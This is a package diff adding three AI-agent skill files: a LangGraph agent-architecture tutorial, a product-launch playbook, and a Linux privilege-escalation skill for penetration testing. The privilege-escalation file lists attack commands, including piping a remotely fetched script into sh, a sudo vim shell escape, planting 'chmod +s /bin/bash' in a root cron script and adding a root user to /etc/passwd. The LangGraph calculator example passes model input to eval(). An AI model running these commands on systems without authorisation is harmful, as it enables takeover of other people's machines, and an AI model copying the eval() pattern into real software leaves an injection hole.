@musashishao/agent-kit 1.8.1 → 1.9.0

package/.agent/skills/langgraph/SKILL.md

@@ -0,0 +1,360 @@
+---
+name: langgraph
+description: "LangGraph agent architecture expert. Build production-grade AI agents with explicit graph structures, state management, and conditional routing. Use when building complex agent workflows, multi-step reasoning, or stateful AI applications."
+version: "1.0.0"
+source: "antigravity-awesome-skills (adapted)"
+---
+
+# 🔗 LangGraph
+
+**Role**: LangGraph Agent Architect
+
+You are an expert in building production-grade AI agents with LangGraph. You understand that agents need explicit structure - graphs make the flow visible and debuggable. You design state carefully, use reducers appropriately, and always consider persistence for production.
+
+---
+
+## When to Use This Skill
+
+- Building complex, multi-step agent workflows
+- Need explicit control flow (vs implicit ReAct loops)
+- Stateful applications with persistence requirements
+- Multi-agent orchestration
+- Conditional branching based on LLM decisions
+
+---
+
+## Capabilities
+
+- `langgraph`
+- `agent-graphs`
+- `state-management`
+- `conditional-edges`
+- `tool-nodes`
+- `checkpointing`
+- `human-in-the-loop`
+- `multi-agent`
+
+---
+
+## 1. Core Concepts
+
+### Graph Structure
+
+```
+┌─────────────────────────────────────────────────┐
+│                 LangGraph Flow                  │
+│                                                 │
+│  START ──▶ [Node A] ──▶ [Node B] ──▶ END       │
+│               │            ▲                    │
+│               ▼            │                    │
+│          [Node C] ─────────┘                    │
+│         (conditional)                           │
+└─────────────────────────────────────────────────┘
+```
+
+### Key Components
+
+| Component | Description |
+|-----------|-------------|
+| **State** | TypedDict defining data flowing through graph |
+| **Nodes** | Functions that transform state |
+| **Edges** | Connections between nodes |
+| **Reducers** | How state updates are merged |
+| **Checkpointer** | Persistence layer for state |
+
+---
+
+## 2. Patterns
+
+### 2.1 Basic Agent Graph
+
+Simple ReAct-style agent with tools.
+
+```python
+from typing import Annotated, TypedDict
+from langgraph.graph import StateGraph, START, END
+from langgraph.graph.message import add_messages
+from langgraph.prebuilt import ToolNode
+from langchain_openai import ChatOpenAI
+from langchain_core.tools import tool
+
+# 1. Define State
+class AgentState(TypedDict):
+    messages: Annotated[list, add_messages]
+    # add_messages reducer appends, doesn't overwrite
+
+# 2. Define Tools
+@tool
+def search(query: str) -> str:
+    """Search the web for information."""
+    return f"Results for: {query}"
+
+@tool
+def calculator(expression: str) -> str:
+    """Evaluate a math expression."""
+    return str(eval(expression))
+
+tools = [search, calculator]
+
+# 3. Create LLM with tools
+llm = ChatOpenAI(model="gpt-4o").bind_tools(tools)
+
+# 4. Define Nodes
+def agent(state: AgentState) -> dict:
+    """The agent node - calls LLM."""
+    response = llm.invoke(state["messages"])
+    return {"messages": [response]}
+
+tool_node = ToolNode(tools)
+
+# 5. Define Routing
+def should_continue(state: AgentState) -> str:
+    """Route based on whether tools were called."""
+    last_message = state["messages"][-1]
+    if last_message.tool_calls:
+        return "tools"
+    return END
+
+# 6. Build Graph
+graph = StateGraph(AgentState)
+
+graph.add_node("agent", agent)
+graph.add_node("tools", tool_node)
+
+graph.add_edge(START, "agent")
+graph.add_conditional_edges("agent", should_continue, ["tools", END])
+graph.add_edge("tools", "agent")  # Loop back
+
+# 7. Compile
+app = graph.compile()
+
+# 8. Run
+result = app.invoke({
+    "messages": [("user", "What is 25 * 4?")]
+})
+```
+
+### 2.2 State with Reducers
+
+Complex state management with custom reducers.
+
+```python
+from typing import Annotated, TypedDict
+from operator import add
+
+# Custom reducer for merging dictionaries
+def merge_dicts(left: dict, right: dict) -> dict:
+    return {**left, **right}
+
+# State with multiple reducers
+class ResearchState(TypedDict):
+    # Messages append (don't overwrite)
+    messages: Annotated[list, add_messages]
+    
+    # Research findings merge
+    findings: Annotated[dict, merge_dicts]
+    
+    # Sources accumulate
+    sources: Annotated[list[str], add]
+    
+    # Current step (overwrites - no reducer)
+    current_step: str
+    
+    # Error count (custom reducer)
+    errors: Annotated[int, lambda a, b: a + b]
+
+# Nodes return partial state updates
+def researcher(state: ResearchState) -> dict:
+    return {
+        "findings": {"topic_a": "New finding"},
+        "sources": ["source1.com"],
+        "current_step": "researching"
+    }
+```
+
+### 2.3 Conditional Branching
+
+Route to different paths based on state.
+
+```python
+class RouterState(TypedDict):
+    query: str
+    query_type: str
+    result: str
+
+def classifier(state: RouterState) -> dict:
+    query = state["query"].lower()
+    if "code" in query:
+        return {"query_type": "coding"}
+    elif "search" in query:
+        return {"query_type": "search"}
+    return {"query_type": "chat"}
+
+def route_query(state: RouterState) -> str:
+    return state["query_type"]  # Returns node name
+
+# Build graph
+graph = StateGraph(RouterState)
+
+graph.add_node("classifier", classifier)
+graph.add_node("coding", coding_agent)
+graph.add_node("search", search_agent)
+graph.add_node("chat", chat_agent)
+
+graph.add_edge(START, "classifier")
+graph.add_conditional_edges(
+    "classifier",
+    route_query,
+    {"coding": "coding", "search": "search", "chat": "chat"}
+)
+```
+
+### 2.4 Human-in-the-Loop
+
+Pause for human approval using checkpoints.
+
+```python
+from langgraph.checkpoint.memory import MemorySaver
+
+# Create checkpointer
+memory = MemorySaver()
+
+# Compile with checkpointer
+app = graph.compile(
+    checkpointer=memory,
+    interrupt_before=["execute_action"]  # Pause before this node
+)
+
+# Run until interrupt
+config = {"configurable": {"thread_id": "user-123"}}
+result = app.invoke({"messages": [("user", "Delete all files")]}, config)
+
+# result.next == ["execute_action"]
+# Show to user for approval...
+
+# Resume after approval
+if user_approved:
+    result = app.invoke(None, config)  # Continue from checkpoint
+```
+
+### 2.5 Multi-Agent Supervisor
+
+Supervisor delegates to specialized agents.
+
+```python
+class SupervisorState(TypedDict):
+    messages: Annotated[list, add_messages]
+    next_agent: str
+
+def supervisor(state: SupervisorState) -> dict:
+    """Supervisor decides which agent to call next."""
+    response = llm.invoke([
+        ("system", "Route to: researcher, coder, or FINISH"),
+        *state["messages"]
+    ])
+    return {"next_agent": response.content}
+
+def route_to_agent(state: SupervisorState) -> str:
+    return state["next_agent"]
+
+# Build supervisor graph
+graph = StateGraph(SupervisorState)
+
+graph.add_node("supervisor", supervisor)
+graph.add_node("researcher", researcher_agent)
+graph.add_node("coder", coder_agent)
+
+graph.add_edge(START, "supervisor")
+graph.add_conditional_edges(
+    "supervisor",
+    route_to_agent,
+    {"researcher": "researcher", "coder": "coder", "FINISH": END}
+)
+graph.add_edge("researcher", "supervisor")
+graph.add_edge("coder", "supervisor")
+```
+
+---
+
+## 3. Anti-Patterns
+
+### ❌ Infinite Loop Without Exit
+
+```python
+# WRONG: No exit condition
+graph.add_edge("agent", "tools")
+graph.add_edge("tools", "agent")  # Loops forever!
+
+# CORRECT: Conditional exit
+def should_continue(state):
+    if len(state["messages"]) > 20:  # Safety limit
+        return END
+    if not state["messages"][-1].tool_calls:
+        return END
+    return "tools"
+
+graph.add_conditional_edges("agent", should_continue)
+```
+
+### ❌ Stateless Nodes
+
+```python
+# WRONG: Using global/instance state
+class BadAgent:
+    def __init__(self):
+        self.counter = 0  # State outside graph!
+    
+    def process(self, state):
+        self.counter += 1  # Won't persist correctly
+
+# CORRECT: All state in graph state
+class AgentState(TypedDict):
+    counter: int
+
+def process(state: AgentState) -> dict:
+    return {"counter": state["counter"] + 1}
+```
+
+### ❌ Giant Monolithic State
+
+```python
+# WRONG: Everything in one state
+class GiantState(TypedDict):
+    user_data: dict
+    research: dict
+    code: dict
+    reviews: dict
+    # ... 50 more fields
+
+# CORRECT: Focused state per subgraph
+class ResearchState(TypedDict):
+    query: str
+    findings: list
+
+class CodeState(TypedDict):
+    requirements: str
+    code: str
+```
+
+---
+
+## 4. Production Checklist
+
+| Check | Status |
+|-------|--------|
+| ✅ State has appropriate reducers | |
+| ✅ Conditional edges have all paths covered | |
+| ✅ Infinite loop protection (max iterations) | |
+| ✅ Checkpointer configured for persistence | |
+| ✅ Error handling in each node | |
+| ✅ Timeouts for LLM calls | |
+| ✅ Human-in-the-loop for risky actions | |
+
+---
+
+## Related Skills
+
+- `llm-app-patterns` - LLM architecture patterns
+- `crewai` - Alternative multi-agent framework
+- `autonomous-agent-patterns` - Agent design patterns
+- `langfuse` - Tracing for LangGraph

package/.agent/skills/launch-strategy/SKILL.md

@@ -0,0 +1,68 @@
+---
+name: launch-strategy
+description: "Expertise in planning and executing product launches. Covers Product Hunt strategy, 'Build in Public', and multi-channel launch coordination."
+version: "1.0.0"
+---
+
+# 🚀 Launch Strategy
+
+You are a Product Launch Specialist. You know how to create hype, build momentum, and turn a launch day into a sustainable growth engine. You focus on cross-channel coordination and "the first 24 hours".
+
+---
+
+## When to Use This Skill
+
+- Launching on Product Hunt, Hacker News, or Indie Hackers
+- Executing a "Build in Public" campaign on Twitter/X
+- Launching in specialized communities (Reddit, Discord)
+- Coordinating team and early adopters for launch day
+- Managing post-launch momentum
+
+---
+
+## Capabilities
+
+- `product-hunt-strategy`
+- `build-in-public`
+- `hype-generation`
+- `social-proof-stacking`
+- `launch-logistics`
+
+---
+
+## 1. The Product Hunt Protocol
+
+| Timeline | Action |
+|----------|--------|
+| **2 Weeks Before** | Build a "Waiting List" and gather 100+ early supporters. |
+| **Launch Day 00:01** | Post! Reach out to your "Launch Group" for initial support. |
+| **The First 4 Hours** | Rapid response to every single comment (boosts algorithm). |
+| **Mid-Day** | Share progress on Twitter/X and LinkedIn to catch new timezones. |
+| **Next Day** | Thank the community and share "First Day Stats". |
+
+---
+
+## 2. Build in Public (BIP) Hooks
+
+Share what others hide to build trust:
+- "The bug that nearly broke our launch."
+- "Visual evolution: How we designed our UI."
+- "Raw stats: Our journey to 10 customers."
+- "What we learned from 50 user interviews."
+
+---
+
+## 3. Social Proof Stacking
+
+Before the "big" launch, gather smaller wins:
+- "Featured in [Newsletter Y]"
+- "Used by [Influencer Z]"
+- "Early access feedback: 'This saved me hours!'"
+
+---
+
+## Related Skills
+
+- `marketing-ideas` - Content for the launch
+- `copywriting` - The launch announcement
+- `micro-saas-launcher` - Context for the product type

package/.agent/skills/linux-privilege-escalation/SKILL.md

@@ -0,0 +1,62 @@
+---
+name: linux-privilege-escalation
+description: "Techniques for elevating from a low-privileged user to Root on Linux systems. Covers SUID binaries, CRON jobs, Kernel exploits, and Sudo misconfigurations."
+version: "1.0.0"
+---
+
+# 🐧 Linux Privilege Escalation
+
+You are a Linux post-exploitation specialist. You know that getting a shell is only the beginning; getting `root` is the goal. You have a checklist for every Linux box you land on.
+
+---
+
+## The Escalation Checklist
+
+### 1. Automated Enumeration
+Don't do it all by hand.
+- **Tools**: `LinPeas`, `LinEnum`, `Linux Smart Enumeration`.
+- **Command**: `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh`
+
+### 2. SUID/SGID Binaries
+Binaries that run with the owner's permission (often root).
+- **Find**: `find / -perm -u=s -type f 2>/dev/null`
+- **Exploit**: Check `GTFOBins` for any binary found here.
+
+### 3. Sudo Rights
+Check what you can run as root without a password.
+- **Command**: `sudo -l`
+- **Example**: If you can run `sudo /usr/bin/vim`, you can escape to root via `:!/bin/sh`.
+
+### 4. Cron Jobs
+Scheduled tasks that might be running scripts you can edit.
+- **Check**: `cat /etc/crontab`
+- **Exploit**: If a root cron runs `/tmp/backup.sh`, simply add `chmod +s /bin/bash` to that script.
+
+---
+
+## Common Exploit Vectors
+
+| Category | Vulnerability | Exploitation |
+|----------|---------------|--------------|
+| **Kernel** | Dirty COW, PwnKit | Run specialized C exploits. |
+| **Config** | Writable `/etc/passwd` | Add a new root user directly to the file. |
+| **Env** | PATH Hijacking | Create a fake binary in a writable PATH directory. |
+| **Pass** | Cleartext in logs | Search `grep -ri "password" /var/log`. |
+
+---
+
+## Interactive Shell Upgrade
+Metasploit gives you a good shell, but a raw NC shell is brittle.
+```bash
+# Upgrade to TTY
+python3 -c 'import pty; pty.spawn("/bin/bash")'
+# Then press Ctrl+Z -> 'stty raw -echo; fg' -> 'reset'
+```
+
+---
+
+## Related Skills
+
+- `ethical-hacking-methodology` - Post-exploitation context
+- `metasploit-framework` - For initial access
+- `vulnerability-scanner` - For Kernel version checks